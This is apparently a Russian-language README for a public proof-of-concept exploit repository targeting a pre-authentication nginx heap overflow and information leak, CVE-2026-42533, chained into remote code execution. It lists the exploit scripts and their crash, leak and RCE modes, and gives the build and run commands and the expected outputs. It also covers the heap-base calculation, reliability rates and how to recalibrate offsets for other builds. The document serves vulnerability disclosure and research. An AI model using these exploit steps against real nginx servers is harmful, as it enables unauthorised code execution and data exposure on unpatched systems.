
CVE-2026-42533: переполнение кучи в nginx до аутентификации и утечка информации из-за затирания захватов PCRE в движке map/script, объединённые в цепочку с RCE.
Переполнение буфера в куче до аутентификации и утечка информации из кучи в nginx, вызванные отсутствием сохранения/восстановления состояния захватов PCRE между двумя проходами скриптового движка. Вычисление переменной map с регулярным выражением между двумя ссылками на захваты перезаписывает r->captures, поэтому проход LEN и проход VALUE расходятся в оценке размера захвата. Буфер выделяется под один захват, а заполняется другим. Более крупная перезапись приводит к переполнению кучи с управляемыми атакующим содержимым и длиной. Меньшая перезапись приводит к появлению буфера завышенного размера, неинициализированный хвост которого возвращается клиенту, раскрывая указатели libc и кучи.
Два примитива объединяются в надёжное удалённое выполнение кода до аутентификации. Утечка обходит ASLR за один GET, поэтому переполнению не требуется отключённый ASLR.
Разбор: https://cyberstan.co.uk/nginx-rce/ Уведомление (Advisory): F5 K000162097 Исследователь: Stan Shaw (cyberstan)
nginx с 0.9.6 по 1.30.3 (stable) и 1.31.2 (mainline); уязвимость достижима с 2011 года, когда директива map получила поддержку регулярных выражений. Подвержены оба модуля — http и stream. Около 50 директив в 13 местах вызова, плюс второй путь через именованные захваты (r->variables[]). Исправлено в версиях 1.30.4 и 1.31.3.
CVE-2026-42533-PoC/
├── exploits/ exploit and validator scripts
│ ├── poc.py numbered-capture proxy_method chain (crash/leak/rce/rce-det)
│ ├── calibrate.py find PL_OFF / HEAP_PAGE_OFF for --rce-det on your build
│ ├── leak_multi.py info leak on the return and set sinks
│ ├── test_all_sites.py ASan validator, all 13 overflow sites
│ └── named_capture_poc.py named-capture r->variables[] variant
├── configs/ nginx configs the exploits run against
│ ├── nginx_poc.conf crash / leak / rce
│ └── nginx_det.conf deterministic rce-det
├── docs/
│ └── EXPLOITATION.md full exploitation writeup
└── README.md
Запускайте все команды ниже из корня репозитория, чтобы пути exploits/, configs/ и дерево сборки ../nginx-1.30.1 корректно разрешались.
exploits/poc.py — основной эксплойт (нумерованный захват, сток proxy_method). Его режимы:
| Режим | Назначение |
|---|---|
poc.py --crash | Запускает переполнение кучи; на ASan-сборке выводит размер записи и стек в ngx_http_script_copy_capture_code. |
poc.py --leak | Утечка информации: извлекает указатели libc и кучи из тела ответа завышенного размера. |
poc.py --rce | Полноценное RCE до аутентификации. Одиночный выстрел в общем случае (configs/nginx_poc.conf), ~66% за попытку, при промахе — повторный запуск. |
poc.py --rce-det | Полноценное RCE до аутентификации, детерминированное против управляемой конфигурации configs/nginx_det.conf. |
Отдельные скрипты, покрывающие остальную поверхность уязвимости:
| Скрипт | Назначение |
|---|---|
exploits/leak_multi.py | Утечка информации через ещё два вычислителя (return, set); каждый указатель libc+heap подтверждается через /proc/<pid>/maps. Стандартная конфигурация. |
exploits/test_all_sites.py | Валидатор AddressSanitizer, активирующий все 13 мест вызова переполнения (http + stream). |
exploits/named_capture_poc.py | Вариант с именованными захватами (?P<name>...) через r->variables[] / copy_var_code — вторая первопричина. |
Конфигурации находятся в configs/: nginx_poc.conf (crash/leak/rce), nginx_det.conf (rce-det). Полный разбор — в docs/EXPLOITATION.md.
Linux, gcc, python3 и исходники nginx 1.30.1. Разработано и протестировано на Ubuntu 24.04.4, glibc 2.39, PCRE2 10.42, python 3.12, при полностью включённом ASLR.
Нужны две сборки. Чистая сборка — для утечки и RCE, чтобы остатки в куче были реальными. Сборка с AddressSanitizer — для краха и валидаторов мест вызова, чтобы переполнение фиксировалось с точным размером записи и стеком.
tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1
# clean build -> objs.dbg/nginx (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"
# ASan build with all the modules the site validator needs -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
--with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
--with-debug \
--with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
--with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"
exploits/poc.py обращается к запущенному nginx на 127.0.0.1:8950. Запустите его в одном терминале с configs/nginx_poc.conf, затем в другом выполните нужный режим. Остальные три скрипта сами запускают и останавливают собственный экземпляр nginx, поэтому им требуется только NGINX_BIN.
mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf" # ASan build, foreground
python3 exploits/poc.py --crash
Ожидаемый результат: переполнение кучи (heap-buffer-overflow), WRITE of size 200 в функции ngx_http_script_copy_capture_code (файл ngx_http_script.c:1404), вызываемой из ngx_http_complex_value в ngx_http_proxy_create_request.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --leak
Ожидаемый результат: тело размером 8161 байт, из которых записано 2 байта, а остальное — остатки кучи. Указатель libc на смещении 0x08 и указатель кучи на 0x10.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --rce # writes /tmp/PWNED via system()
Ожидаемый результат: утечка, около 40 spray-соединений, срабатывание переполнения, затем файл /tmp/PWNED с выводом команды id. Это одиночный выстрел, который на dev-сборке срабатывает примерно в двух третях случаев; при промахе worker падает, и вы запускаете эксплойт снова. См. раздел «Reliability» в docs/EXPLOITATION.md.
Против управляемой конфигурации та же ошибка срабатывает детерминированно с первого раза. Эксплойт восстанавливает абсолютный базовый адрес кучи из утечки одной строкой (heap_base = (leaked_ptr & ~0xfff) - 0x22000), размещает единственный поддельный cleanup-обработчик пула в удерживаемом соединении по известному адресу и направляет cleanup пула жертвы на него вместо временного тела триггера, которое nginx освобождает до teardown.
mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf" # controlled config
python3 exploits/poc.py --rce-det
nginx_det.conf — лабораторная конфигурация (один worker, фиксированные буферы), чьё расположение кучи воспроизводимо; именно поэтому смещения в poc.py (PL_OFF, HEAP_PAGE_OFF) остаются верными. PL_OFF — это смещение от базы кучи, по которому попадает тело cleanup удерживаемого запроса POST /b/; оно зависит от точной последовательности выделений памяти, поэтому сдвигается между сборками, версиями glibc и конфигурациями. Если --rce-det сообщает Recalibrate, снимите корректные значения с живого worker-процесса с помощью calibrate.py:
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# prints e.g. set PL_OFF = 0x14426 , then edit it in exploits/poc.py
Единственный оставшийся вариант неудачи — расклад ASLR, при котором байт 0x0a попадает внутрь адреса cleanup или тела переполнения; регулярное выражение map не может перенести такой байт. Инструмент сообщает об этом, и вы запускаете эксплойт снова. Обычное развёртывание не настолько предсказуемо, поэтому там используйте --rce. См. раздел «A deterministic build» в docs/EXPLOITATION.md.